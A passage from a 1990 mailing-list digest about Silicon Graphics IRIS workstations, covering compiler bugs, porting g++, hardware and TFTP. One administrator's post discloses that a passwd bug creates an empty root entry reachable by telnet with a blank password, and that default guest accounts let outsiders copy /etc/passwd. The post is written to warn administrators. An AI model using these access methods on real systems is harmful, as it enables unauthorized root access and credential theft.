$tmpfile + srcbase=`csh $tmpfile` + rm -f $tmpfile + echo After src: $src srcbase: $srcbase + if [ x$srcbase = x ] + then + echo "ERROR: WORKAROUND FAILED. Install about to bomb." + fi + fi + + if [ "$src" != "$srcbase" -a "$src" != "./$srcbase" ] + then + cp $src /tmp/$srcbase + src=$srcbase + srcdir=/tmp + rmcmd="rm -f /tmp/$srcbase" + fi + + # do the actual install (remove destination since SysV install doesn't) + + rm -f $dst/$srcbase + (cd $srcdir ; $install -f $dst $flags $src) + if [ x$dostrip != x ] + then + strip $dst/$srcbase + fi + + # and clean up + + $rmcmd +   Received: from vmb.brl.mil by VMB.BRL.MIL id aa22505; 24 Apr 90 16:29 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa22257; 24 Apr 90 16:18 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa22247; 24 Apr 90 16:00 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa01247; 24 Apr 90 15:36 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA29091; Tue, 24 Apr 90 12:32:46 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 19:20:16 GMT From: "Loren (Buck" MMDF-Warning: Parse error in original version of preceding line at BRL.MIL Organization: Computer Sciences Corporation @ NASA Goddard Space Flight Center Subject: cxref and gl.h Message-Id: <1818@dftsrv.gsfc.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Bug alert! I would say the following is a bug. % more test.c #include main() { } % cxref test.c test.c: "/usr/include/gl.h", line 336: syntax error "/usr/include/gl.h", line 336: **** cannot recover from this error **** xpass failed on test.c! where the offending line(s) in gl.h look like: typedef struct { unsigned short offset; Byte w,h; signed char xoff,yoff; <----- line 336 short width; } Fontchar; We are using 3.2. B Cing U Buck Loren "Buck" Buchanan | internet: buck@drax.gsfc.nasa.gov | standard disclaimer CSC, 1100 West St. | uucp: ...!ames!dftsrv!drax!buck | "By the horns of a Laurel, MD 20707 | phonenet: (301) 497-2531 or 9898 | sky demon..."   Received: from vmb.brl.mil by VMB.BRL.MIL id ab22505; 24 Apr 90 16:29 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab22257; 24 Apr 90 16:18 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab22247; 24 Apr 90 16:00 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa01261; 24 Apr 90 15:36 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA29007; Tue, 24 Apr 90 12:31:40 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 18:25:04 GMT From: Dorothy Liu Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: So whats the current price for a 3130?? Message-Id: <57903@sgi.sgi.com> References: <9004241424.AA02524@aero4.larc.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004241424.AA02524@aero4.larc.nasa.gov>, blbates@AERO4.LARC.NASA.GOV ("Brent L. Bates AAD/TAB MS361 x42854") writes: > > I hear used 3130's go for about $10,000, but you can still buy > one from SGI, they charge you about $30,000-50,000. I just wanted to clarify the discussion on used 3130's from Silicon Graphics. Systems Remarketing is a group within SGI that manages mature product lines. We sell new and refurbished equipment. The current price for a refurbished 3130 (fully refurbished-paint, parts etc., full warranty as new, same testing procuedure as new) is not $30-50K--if you are interested in these systems, please contact your local sales office. The prices are less that those stated above and are frequently on promotion. If you have any questions about these product or the support of them, please contact me. I did post a copy of our end-of life letter in November, if you would all like a repost, I will gladly do so as it states SGI's commitment to support the IRIS 2000/3000 product line through October of 1994. I can be reached at (415)962-3299 or email at dorothy@sgi.com. --Dorothy Liu Silicon Graphics Systems Remarketing -- Dorothy Liu Silicon Graphics Computer Systems Internet: dorothy@SGI.COM UUCP: {ames,ucbvax,decwrl,sun}!sgi!dorothy   Received: from vmb.brl.mil by VMB.BRL.MIL id aa22762; 24 Apr 90 17:00 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa22641; 24 Apr 90 16:50 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa22556; 24 Apr 90 16:31 EDT Received: from umrvma.umr.edu by VGR.BRL.MIL id aa01434; 24 Apr 90 15:54 EDT Received: from UMRVMA.UMR.EDU by UMRVMA.UMR.EDU (IBM VM SMTP R1.2.1MX) with BSMTP id 1392; Tue, 24 Apr 90 13:49:23 CDT Received: by UMRVMA (Mailer R2.05) id 1390; Tue, 24 Apr 90 13:49:15 CDT Date: Tue, 24 Apr 90 13:39:23 CDT From: Bob Funchess Subject: AIX To: info-iris@BRL.MIL Message-ID: <9004241554.aa01434@VGR.BRL.MIL> [ ... AIX appears to be so unacceptably buggy ... ] We have a RS/6000 model 530, and AIX is buggy. However, it's getting better, and at this point is not *much* worse than 3.1 rev D Irix (in some respects, it is better, for Xample, X-windows support). It depends of course on what you want to do... even though IBM licensed their graphics from SGI, IBM's are still not nearly as good. If you can manage to get a program compiled, though, it runs like a demon. Not a commercial for IBM, just didn't want anyone to think AIX was beyond hope (remember that all releases up to 9005O are IBM confidential, i.e. *internal* releases and should be expected to have a few bugs). < Bob | S090726@UMRVMA.UMR.EDU | Funchess > University of Missouri - Rolla "Never trust a man in a blue trench coat, Never drive a car when you're dead" -- T. Waits   Received: from vmb.brl.mil by VMB.BRL.MIL id ab22762; 24 Apr 90 17:00 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab22641; 24 Apr 90 16:50 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa22634; 24 Apr 90 16:38 EDT Received: from dukempd.phy.duke.edu by VGR.BRL.MIL id aa01517; 24 Apr 90 16:02 EDT Received: from physics.phy.duke.edu by dukempd.phy.duke.edu (5.59/1.1/2.10) id AA02611; Tue, 24 Apr 90 16:03:48 EDT Received: by physics.phy.duke.edu (4.0/2.1/4.0) id AA04334; Tue, 24 Apr 90 16:03:45 EDT Date: Tue, 24 Apr 90 16:03:45 EDT From: "Robert G. Brown" Message-Id: <9004242003.AA04334@physics.phy.duke.edu> To: info-iris@BRL.MIL Subject: Restricted TFTP and secure terminals I heartily agree that we need a more secure tftp. I have just turned off our tftpd locally since we are running no diskless Irises. It is especially important to do this since, as far as I know, Irix doesn't allow one to specify the equivalent of a "secure" field in a ttytab in SunOS. This means that it is not possible to disable direct root login from anywhere, including over the network. In SunOS, one can easily turn off direct root login from any console that you do not consider "secure". We actually disable it on all but the consoles of the different machines in our network -- they are always vulnerable if rebooted single user mode, so there is not much point in overprotecting them. However, over any other terminal or the network, one must first login as a member of wheel and then su to root. This is quite a bit more secure than a single layer of passwd protection as it requires that two accounts be penetrated and not just one. Of course, if a wheel member's account is compromised, it is just a matter of time before the hacker gets the root passwd too, but at least there is that extra time, during which they can make a mistake or be discovered in other ways. While we are on the interesting subject of "bugs" that lead to serious security holes, there is a nifty bug in the passwd program that will expand blank lines at the end of the passwd file to ::0:0:: when run. This is true for both SunOS and Irix. For those who have been wondering what this line (that keeps appearing in their passwd file) does, it enables ANYONE ANYWHERE to login as root to your machine by typing telnet machine.name.domain root and entering "" as the passwd. Note that I am of the philosophy that bugs of this sort should be broadcast to the winds so that admin people have at least a chance of fixing them, rather than being kept a "secret" known only to hackers and (sometimes cruelly) experienced administrators. Better yet, they should be FIXED! Note that when combined with insecure root logins (see above) this one is really devastating. If secure terminals could be locally defined, one could at least restrict the impact of bugs of this sort to a LAN and users you "know" (and possibly "trust"). So while SG is fixing up a secure tftp, they can also work on giving us a "secure" entry in the terminal and network definition files, and fixing the passwd bug. There is no reason to expand blank lines into a universal security hole. Finally, SG can stop distributing /etc/passwd with blank entries anywhere but for root and make sure that hosts.equiv does NOT enable rlogins everywhere by default. This LAN mentality in distribution files is deadly on a WAN like the Internet. Novice administrators may not realize that anyone on the Internet can login to their Iris as "games" or "demos" and copy /etc/passwd to their local machine. Or rlogin to their machine without a passwd at all. Last, while I haven't checked, I certainly hope that the encrypted passwds for other system logins on the distribution /etc/passwd are not some "standard" or universal word. It would be a whole lot safer if they distributed /etc/passwd with only root unprotected and all the other logins disabled one way or another. It is always easy to su from root to little used administrative accounts, and easy enough also to install your own passwds if desired. It is hard to know what is safe and what is not, especially with a new machine. The longer I have been an administrator, the more impressed I am by the dazzling variety of ways to penetrate a "secure" system. From my own personal experience with a heterogenous network of mixed Suns and SG boxes, SunOS is substantially more secure both intrisically and as distributed than Irix. However, both are full of holes, and novice "administrators" abound. I would estimate that easily thirty percent of the machines on the Internet (about thirty five percent of the SG boxes) could invisibly be penetrated at any given time by a knowledgable individual armed with an automated script. I struggle to keep our network reasonably secure, but I'm sure that there are still holes that I don't know about. Dr. Robert G. Brown System Administrator Duke University Physics Dept. Durham, NC 27706 (919)-684-8130 Fax (24hr) (919)-684-8101 rgb@phy.duke.edu rgb@physics.phy.duke.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa23382; 24 Apr 90 17:51 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa23279; 24 Apr 90 17:41 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa23228; 24 Apr 90 17:23 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa01521; 24 Apr 90 16:02 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA00836; Tue, 24 Apr 90 12:58:20 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 19:07:42 GMT From: sdd.hp.com!samsung!cs.utexas.edu!mailrus!accuvax.nwu.edu!news@ucsd.edu Organization: Northwestern Univ. Evanston, Il. Subject: 3rd party hard disks Message-Id: <6775@accuvax.nwu.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Hi! i would like some information for 3rd party hard disks for the Silicon Graphics 4D/220. Please email me about any information. thanks! alfonso mondragon mondragon@lolita.biochem.nwu.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id ac23667; 24 Apr 90 19:13 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa23594; 24 Apr 90 18:47 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa23579; 24 Apr 90 18:31 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa02341; 24 Apr 90 17:38 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA06149; Tue, 24 Apr 90 14:28:53 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 21:24:35 GMT From: Ken Lalonde Organization: Department of Computer Science, University of Toronto Subject: IRIX 3.2 C compiler bug Message-Id: <90Apr24.172352edt.13096@neat.cs.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL This program should print -1, since (int)0.4 is 0. The compiler seems to be ignoring the caste. % cat t.c main() { int i; i = -1; i += (int)0.4; printf("%d\n", i); } % cc t.c % a.out 0   Received: from vmb.brl.mil by VMB.BRL.MIL id aa23760; 24 Apr 90 19:23 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab23667; 24 Apr 90 19:13 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa23603; 24 Apr 90 18:36 EDT Received: from [26.1.0.3] by VGR.BRL.MIL id aa02480; 24 Apr 90 18:01 EDT Received: from ucsd.edu by trout.nosc.mil (5.59/1.27) id AA02307; Tue, 24 Apr 90 15:01:45 PDT Received: from chema.ucsd.edu by ucsd.edu; id AA23843 sendmail 5.61/UCSD-2.0-sun via SMTP Tue, 24 Apr 90 14:47:22 -0700 for @nosc.mil:info-iris@BRL.mil Received: by chem.chem.ucsd.edu (5.51) id AA28037; Tue, 24 Apr 90 14:46:58 PDT Date: Tue, 24 Apr 90 14:46:58 PDT From: Steve Dempsey Message-Id: <9004242146.AA28037@chem.chem.ucsd.edu> To: info-iris@BRL.MIL, zsd@pig.drea.dnd.ca Subject: Re: 3130 daylight time The rules for Daylight Savings Time have changed since the last software release for the 3000 series, GL2-W3.6. The old rules should cause it to switch this weekend. I don't know of any fix for this without source code access. I just pretend my workstation is in Hawaii for three weeks! -------------------------------------------------------------------------------- Steve Dempsey (619) 534-0208 Dept. of Chemistry Computer Facility, B-014 INTERNET: sdempsey@ucsd.edu University of Calif. at San Diego BITNET: sdempsey@ucsd La Jolla, CA 92093 UUCP: ucsd!sdempsey   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24031; 24 Apr 90 20:22 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa23811; 24 Apr 90 19:48 EDT Received: from adm.brl.mil by VMB.BRL.MIL id aa23790; 24 Apr 90 19:29 EDT Received: from ucbvax.Berkeley.EDU by ADM.BRL.MIL id aa10469; 24 Apr 90 19:22 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA12846; Tue, 24 Apr 90 16:15:36 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 22:34:30 GMT From: Francisco Figueirido Organization: Institute for Theoretical Physics, SUNY at Stony Brook Subject: g++ on MIPS machine Message-Id: <1990Apr24.223430.1493@max.physics.sunysb.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Has anyone ported succesfully g++ (the Free Software Foundation C++ look-alike compiler) to any machine with a MIPS Computers CPU? More specifically: we have an SGI 4D/220 and I have been trying to port g++-1.37 (I already have gcc-1.37 up and running) but have encountered some problems. If anybody can help please e-mail me and I will discuss the problems in more detail. Thanks!!! Francisco Figueirido   Received: from vmb.brl.mil by VMB.BRL.MIL id ab24031; 24 Apr 90 20:22 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa23908; 24 Apr 90 20:12 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa23837; 24 Apr 90 19:43 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa02821; 24 Apr 90 19:23 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA12714; Tue, 24 Apr 90 16:14:14 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 22:51:24 GMT From: Paul Puglia Organization: Columbia University Subject: Re: APL for SGI Personal Iris? Message-Id: <1990Apr24.225124.12586@cunixf.cc.columbia.edu> References: <1990Apr21.000923.9868@water.waterloo.edu>, <6703@odin.corp.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL >>>Xref: cunixf.cc.columbia.edu comp.sys.sgi:1506 comp.lang.apl:90 >>>Path: cunixf.cc.columbia.edu!rutgers!apple!bionet!arisia!sgi!shinobu!odin!bananapc.wpd.sgi.com!ciemo >>>From: ciemo@bananapc.wpd.sgi.com (Dave Ciemiewicz) >>>Newsgroups: comp.sys.sgi,comp.lang.apl >>>Subject: Re: APL for SGI Personal Iris? >>>Keywords: Graphics, APL >>>Message-ID: <6703@odin.corp.sgi.com> >>>Date: 23 Apr 90 21:47:43 GMT >>>References: <1990Apr21.000923.9868@water.waterloo.edu> >>>Sender: news@odin.corp.sgi.com >>>Reply-To: ciemo@bananapc.wpd.sgi.com (Dave Ciemiewicz) >>>Organization: Silicon Graphics, Inc. >>>Lines: 28 >>> >>>In article <1990Apr21.000923.9868@water.waterloo.edu>, >>>rwoldford@water.waterloo.edu (Wayne Oldford) writes: >>>> Greetings: >>>> >>>> Does anyone know of an implementation of APL for the Silicon Graphics Inc. >>>> I would like to purchase a Personal Iris 4D25G(T) for research work on >>>> scientific graphics, however the machine is to do double duty as a platform >>>> for some APL programming. >>>> Does anyone have any ideas? >>>> >>>> Thanks in advance: >>>> >>>> R.W. Oldford >>>> >>>> rwoldford@water.waterloo.edu or rwoldford@water.uwaterloo.ca >>>> >>>> -- >>>> Internet: rwoldford@water.waterloo.edu >>>> UUCP: {allegra,clyde,decvax,ihnp4,utzoo}!watmath!water!rwoldford >>> >>>There is an implementation of APL in the BSD Unix software release. >>>My understanding is that many of the non-proprietary sources (i.e. >>>non-AT&T codes) are publicly available from a number of anonymous >>>FTP sites. This is not an endorsement for the version of APL as I have >>>never used it. It is just an avenue you might explore. Sorry, I don't >>>know the sites providing BSD sources. >>> >>> --- Ciemo I think what is being refered to here is the Prudue APL interpreter that comes on the Berkeley source tapes. I doubt that you will find it publicly available because you must prove that you have a Berkeley source licence to get it. If you are an educational institution then this will run you about 1600.00 - 2000.00 ( 1000.00 for the AT&T license and 600 - 1000 for the Berkeley license). While I have seen articles on the net about people taking it and adding an X-windows interface to this system, as it comes from the tapes it is pretty raw, it was designed to run without the benefit of an apl terminal. Paul Puglia Columbia University Department of Civil Engineering puglia@cucevx.civil.columbia.edu (internet) PUGLIA@CUCEVX (BITNET)   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24215; 24 Apr 90 20:52 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa24117; 24 Apr 90 20:42 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa24073; 24 Apr 90 20:23 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa02902; 24 Apr 90 19:47 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA14135; Tue, 24 Apr 90 16:35:53 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 23:30:44 GMT From: Lehar Organization: Boston University Center for Adaptive Systems Subject: dog fight tournament Message-Id: References: <9004241554.aa01434@VGR.BRL.MIL> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Has anybody ever considered a dogfight tournament? What I was thinking was if some kind corporation donated the use of their facility during week ends or evenings, and we could take turns to go after each other in two's, three's or whatever the system would allow, and the last man alive wins. Or if the numbers were even we could go in teams, so you could have a wingman and practice cooperative tactics. Of course each contestant would be registered with the organizers so that only one lifetime is allowed, and you've got to land in one piece too. Anyone have any interest in this idea? Anyone have a facility to lend? Our facility has only one machine, and I have to content myself with shooting down recorded flights! (No challenge there!) -- (O)((O))(((O)))((((O))))(((((O)))))(((((O)))))((((O))))(((O)))((O))(O) (O)((O))((( slehar@bucasb.bu.edu )))((O))(O) (O)((O))((( Steve Lehar Boston University Boston MA )))((O))(O) (O)((O))((( (617) 424-7035 (H) (617) 353-6425 (W) )))((O))(O) (O)((O))(((O)))((((O))))(((((O)))))(((((O)))))((((O))))(((O)))((O))(O)   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25741; 25 Apr 90 3:01 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa25375; 25 Apr 90 1:48 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa25373; 25 Apr 90 1:33 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa04164; 25 Apr 90 1:18 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA04945; Tue, 24 Apr 90 22:15:54 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 00:56:47 GMT From: James Helman Organization: Stanford University Subject: Re: g++ on MIPS machine Message-Id: References: <1990Apr24.223430.1493@max.physics.sunysb.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I don't know about g++-1.37.{0,1}, but the experimental version of 26-Mar-90 on labrea.stanford.edu in pub/gnu/g++.xtar.Z works fine on our 4D/220 under IRIX 3.2. I imagine 1.37.{0,1} would work as well. First, you will need to set the flags for SYSV and COFF as listed in the HINTS and README files. Then.... 1) IMPORTANT and undocumented. Add the line (this tidbit courtesy of chin@operations.dccs.upenn.edu): #define NO_UNDERSCORES to xm-mips.h. 2) Also a minor problem with switch orders and the math library can be fixed by changing a line in tm-iris.h. I'm sure there's a more proper way of doing this, but hardwiring works too... (A bad habit. Ever program one of those PDP/11 bootstrap ROM boards? One diode per bit, snip it out, and it's a 1 forever!) #define LIB_SPEC "%{!p:%{!pg:-lc}}%{p:-lc_p}%{pg:-lc_p} crtn.o%s" to: #define LIB_SPEC "-lm %{!p:%{!pg:-lc}}%{p:-lc_p}%{pg:-lc_p} crtn.o%s" 3) After configuring the makefile, you will also need to change the line: $(CC) -o collect $(PROFILE) $$COLLECT_OPTIONS $(CFLAGS) $(INCLUDES) $< -lg -lc $$COLLECT_LIBS to: $(CC) -o collect $(PROFILE) $$COLLECT_OPTIONS $(CFLAGS) $(INCLUDES) collect.o -lc $$COLLECT_LIBS because IRIX's make only recognizes $< in implicit rules. Jim Helman Department of Applied Physics 6 Trillium Lane Stanford University San Carlos, CA 94070 (jim@thrush.stanford.edu) (415) 723-9127   Received: from vmb.brl.mil by VMB.BRL.MIL id ab17374; 26 Apr 90 14:39 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab17201; 26 Apr 90 14:28 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab17151; 26 Apr 90 14:07 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa06246; 26 Apr 90 11:22 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA29219; Thu, 26 Apr 90 08:20:59 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 19:13:58 GMT From: Dan Nadir Organization: General Dynamics, San Diego Subject: info on SYSADMIN Message-Id: <1990Apr24.191358.15750@gdwest.gd.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Does anyone have any experience with "Sysadmin" from Unisolutions Associates? It looks like a good overall sys admin utility, but you know what they say about things that seem to good to be true... Thanks in advance for any info. -- Daniel Nadir General Dynamics Data Systems Division Western Center, San Diego Internet: dan@gdwest.gd.com UUCP: {ucsd|ucbvax}!sdsu!gdwest!dan   Received: from vmb.brl.mil by VMB.BRL.MIL id aa04119; 27 Apr 90 15:58 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa03840; 27 Apr 90 15:48 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa03820; 27 Apr 90 15:31 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa05629; 27 Apr 90 15:07 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA00647; Thu, 26 Apr 90 08:42:55 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 20:11:23 GMT From: Tom Mackey Organization: Voodoo Graphics Project Subject: Re: A suggestion to SGI regarding keyboards Message-Id: <771@voodoo.UUCP> References: <9004192315.AA09076@chem.chem.ucsd.edu>, <57576@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I might as well throw in my $.02: What I have done, not only for the IRIS keyboards, but also CIT224 and other terminal keyboards, is to make it non-trivial for the "mode" keys to be depressed. I remove the offending keys (CapsLock, NumLock, ComposeCharacter, etc.) and cut appropriate sized pieces from foam rubber (the little "bricks" from new nine-track tapes are great); these little foam blocks are placed under the mode keys as you stuff 'em back on. It takes a deliberate effort to depress a key so treated. -- Tom Mackey (206) 234-7767 (wk) Boeing Computer Services ....uw-beaver!ssc-vax!voodoo!tomm M/S 6M-17, P.O. Box 24346, Seattle, WA 98124-0346   Received: from vmb.brl.mil by VMB.BRL.MIL id ac05116; 27 Apr 90 16:51 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac04607; 27 Apr 90 16:34 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab04325; 27 Apr 90 16:07 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa05627; 27 Apr 90 15:07 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA00680; Thu, 26 Apr 90 08:43:18 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 23:49:03 GMT From: Tom Mackey Organization: Voodoo Graphics Project Subject: Re: Max Cable Lengths for monitors Message-Id: <772@voodoo.UUCP> References: , <9004202112.AA12956@forest.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL 20 of our 4d70's have cable runs of 145 to 170 feet. 170 is stretching the envelope. 140 to 150 feet is still OK. Your milage may vary. -- Tom Mackey (206) 234-7767 (wk) Boeing Computer Services ....uw-beaver!ssc-vax!voodoo!tomm M/S 6M-17, P.O. Box 24346, Seattle, WA 98124-0346   Received: from vmb.brl.mil by VMB.BRL.MIL id aa26288; 25 Apr 90 5:24 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa26175; 25 Apr 90 4:31 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa26163; 25 Apr 90 4:18 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa04744; 25 Apr 90 4:03 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA13660; Wed, 25 Apr 90 00:56:27 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 04:49:38 GMT From: Andrew Cherenson Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Restricted TFTP? Message-Id: <58049@sgi.sgi.com> References: <28840@ut-emx.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <28840@ut-emx.UUCP> russo@chaos.utexas.edu (Thomas Russo) writes: > >Are there any plans on SGI's part to implement a restricted TFTP >daemon (i.e. one which will only retrieve files from a given >directory)? It's in the next release, which is coming "real soon"... You'll also be able to have tftpd log read and write requests to syslogd.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa01414; 25 Apr 90 15:32 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa01121; 25 Apr 90 15:22 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa01101; 25 Apr 90 15:02 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa00254; 25 Apr 90 14:25 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA07435; Wed, 25 Apr 90 08:41:40 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 13:36:19 GMT From: "Daniel A. Graifer" Organization: Franklin Capital Investments, Inc. McLean, Va. Subject: Re: APL for SGI Personal Iris? Message-Id: <513@fciva.FRANKLIN.COM> References: <1990Apr21.000923.9868@water.waterloo.edu>, <6703@odin.corp.sgi.com>, <1990Apr24.225124.12586@cunixf.cc.columbia.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr21.000923.9868@water.waterloo.edu, rwoldford@water.waterloo.edu (Wayne Oldford) writes: >Does anyone know of an implementation of APL for the Silicon Graphics Inc. >I would like to purchase a Personal Iris 4D25G(T) for research work on >scientific graphics, however the machine is to do double duty as a platform >for some APL programming. Scientific Timesharing (STSC) has a product APL*PLUS/UNX that runs on many different unix platforms. I don't know that they have one for the Iris, but it can't hurt to call them: 1-800-592-0050 (Maryland 1-301-984-5123). I use their APL*PLUS/PC product, and find it a good implimentation. Dan -- Daniel A. Graifer Franklin Mortgage Capital Corporation uunet!dag@fmccva.franklin.com 7900 Westpark Drive, Suite A130 (703)448-3300 McLean, VA 22102   Received: from vmb.brl.mil by VMB.BRL.MIL id aa03208; 25 Apr 90 17:19 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa02629; 25 Apr 90 16:50 EDT Received: by VMB.BRL.MIL id ac02595; 25 Apr 90 16:33 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa02589; 25 Apr 90 16:32 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa00852; 25 Apr 90 15:53 EDT Received: by ucbvax.Berkeley.EDU (5.63/1.41) id AA18038; Wed, 25 Apr 90 11:32:38 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 25 Apr 90 17:41:06 GMT From: "David B. Anderson" Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: IRIX 3.2 C compiler bug Message-Id: <58118@sgi.sgi.com> References: <90Apr24.172352edt.13096@neat.cs.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <90Apr24.172352edt.13096@neat.cs.toronto.edu>, ken@cs.toronto.edu (Ken Lalonde) writes: > This program should print -1, since (int)0.4 is 0. The compiler > seems to be ignoring the caste. > > % cat t.c > main() > { > int i; > > i = -1; > i += (int)0.4; > printf("%d\n", i); > } > % cc t.c > % a.out > 0 Yes this is an (old) C bug. No one noticed before. i += (int)float_or_double_value; Where i can be any integral type and the += can be += -= *= or /= And (int) can be a cast to any integral type. The Ucode generated by ccom does a floating add (or - or * or /) (!). Wrong. A workaround is to recode as i = i + ..... Or put the float value into a temporary of integral type before doing i += ... Ugly. Sorry for the inconvenience. I have fixed the compiler for a future release. I 